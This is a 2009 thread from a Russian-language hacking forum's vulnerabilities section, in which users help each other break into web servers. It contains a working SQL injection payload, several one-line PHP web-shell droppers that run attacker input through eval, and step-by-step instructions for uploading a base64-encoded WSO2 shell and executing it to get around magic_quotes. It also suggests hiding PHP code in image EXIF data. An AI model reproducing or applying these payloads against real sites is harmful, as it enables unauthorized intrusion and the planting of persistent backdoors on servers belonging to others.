ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #8941  
Старый 13.09.2009, 23:55
FAQ666
Познающий
Регистрация: 17.09.2008
Сообщений: 56
Провел на форуме:
587324

Репутация: 40
По умолчанию

Цитата:
Сообщение от desTiny  
FAQ666,

311)) ) ) GROUP BY `listings_properties`.`object_sid` and 1=2 union select 1,2,3.../*
Спасибо помогло)))
 

  #8942  
Старый 14.09.2009, 01:46
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Цитата:
Сообщение от jokester  
Nightmarе
Залей
<?php lol(stripslashes($_REQUEST[c])); ?>
и работай нормально через system, или через что угодно, magic_quotes мешать не будут
И всё равно никак ;(

и так:
fputs(fopen($_GET[ass],a),base64_decode(stripslashes($_POST[lol])));

тоже не пашет, то есть заливается шелл но полностью покоцанный и не рабочий ;(
 

  #8943  
Старый 14.09.2009, 02:43
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

2 Nightmarе:

Всё дело в HTML-коде внутри любого шелла. Его просто надо переделать в ECHO "а тут html-код". Иначе через eval есс-но работать не будет. Или написать "правильную" функцию для корректной работы шелла с чистым html внутри себя.

Т.е. в итоге будет достаточно залить чистый base64_encode код шелла в файл на сервере, без <? и ?>

Но таких готовых шеллов нет, никто так не пишет) Ну или в паблик не выкладывает. Вывод - ручками. Как? Очень просто. Сидим и построчно заменяем "чистый html" на

echo 'тут html_код';

вот и всё. Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% - для корректного исполнения php кода, содержащий в себе чистый html


т.е., чтобы было понятно:

1. Cработает:

PHP код:
<?
$a 
"phpinfo();";
eval (
$a);
?>
2. Сработает:

PHP код:
<?
$a 
"phpinfo();";
$a base64_encode($a);
eval (
base64_decode($a));
?>
Т.е. остается только залить base64_encode код шелла, без <? и ?> и еще не закодированный он когда, там должен быть "правильный" html, не отделенный от php-кода никакими <? и ?>, т.е. шелл, состоящий сплошь из "чистого" php, без htm-отдельных-вставок в центре кода. Т.е. еще раз (сам уже запутался, гы) - весь чистый, отдельный вынесенный html надо заменить на

echo "html-код";

закодировать такой шелл в base64, залить (получиться файло без кавычек, значит прокатит 100%, как при sql-inj при заливке файла) на сервер, а потом просто eval-нуть, т.е. по пунктам:

1. Заливаешь такой файл на сервер, назовем такой файл user1.php:

<?eval($_SERVER[HTTP_USER_AGENT]);?> - будет работать 100%, кавычек нет, зальется без изменений

2. Заливаешь на сервер другой файл, в котором "правильный" base64_encode шелла (с правильными html) - назовем такой файл user.php (закодированный без <? и ?>) - будет работать 100%, кавычек нет, зальется без изменений

3. Идешь в FF и создаешь такого юзер-агента в плагине user agent switcher:

Description: eval(base64)
User agent: $a=file_get_contents('user.php');eval(base64_decod e($a));

и всё, у тебя шелл

PS: Пункт №2 можно выполнить либо удаленно, либо через предварительно залитую форму загрузки с локального компа - зависит от настроек в php.ini

И такая защита, как наблюдается у тебя там, обломается

Или не читать весь бред, что выше про FF (раньше так делал, гы) и просто залить правильный base64 шелла и выполнить его через eval - что в принципе одно и тоже

Последний раз редактировалось Pashkela; 14.09.2009 в 03:00..
 

  #8944  
Старый 14.09.2009, 11:27
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Цитата:
Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% - для корректного исполнения php кода, содержащий в себе чистый html
Пиздец, это пиздец ..
 

  #8945  
Старый 14.09.2009, 12:22
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Pashkela большое спасибо.
Посидел минут 20, переделал wso2 шелл убрав HTML код, и заработало!!!!!!!
 

  #8946  
Старый 14.09.2009, 14:17
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от BlackSun  
Пиздец, это пиздец ..
Ну может я чего и не знаю, у меня wso2-шелл через eval не заработал. Вместо того, чтобы ругаться матом в общественном форуме, лучше бы выложил такую функцию, позволяющую запускать смешанный php и html код через eval.

Кругом какие-то неуравновешанные люди

Последний раз редактировалось Pashkela; 14.09.2009 в 14:24..
 

  #8947  
Старый 14.09.2009, 14:30
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Цитата:
Сообщение от Pashkela  
Ну может я чего и не знаю, у меня wso2-шелл через eval не заработал. Вместо того, чтобы ругаться матом в общественном форуме, лучше бы выложил такую функцию, позволяющую запускать смешанный php и html код через eval.

Кругом какие-то неуравновешанные люди
Лучше прекрати нести откровенную ***ню на форуме, это уже нихера не смешно и начинает раздражать!

eval('?><html>ох ебать, хтмл в евале!<body><?php phpinfo(); ?></body></html>');
 

  #8948  
Старый 14.09.2009, 14:51
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

BlackSun:

Ну да, по пьяни такие вещи лучше не проверять Работает и WSO2 так. Не раздражайся, я не специально, доктора уже выехали Какая бы херня не была, человеку помог, в отличие от некоторых "с понтами"

Nightmarе:

Цитата:
Посидел минут 20, переделал wso2 шелл убрав HTML код, и заработало!!!!!!!
Ну и зря. Просто перевел бы тот же wso2.php в base64(без <? и ?>), залил бы и выполнил бы так:

1. Залить такой шелл -

<?eval(stripslashes($_GET[e]));?>// будет работать даже с magic_quotes=on

2.

?e = $a = file_get_contents("wso2.php");eval(base64_decode($ a));

Вот в принципе и всё, что надо было. А я там понаписал - мама не горюй Надо завязывать

Последний раз редактировалось Pashkela; 14.09.2009 в 14:58..
 

  #8949  
Старый 14.09.2009, 17:08
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Как выполнить PHP-код, если можно заливать файл с любым расширением?

НО есть два условия:

1. Структура файла должна быть как у картинки.
2. После заливки скрипт меняет расширение картинки на 340x340, соответственно весь код, который написан в конце картинки сгорает.
 

  #8950  
Старый 14.09.2009, 17:11
.acme
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме:
1266776

Репутация: 93
По умолчанию

mailbrush, а скрипт только сжимает до 320х340? если так, то есть возможность указать ложные exif данные и залить в конец код.
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ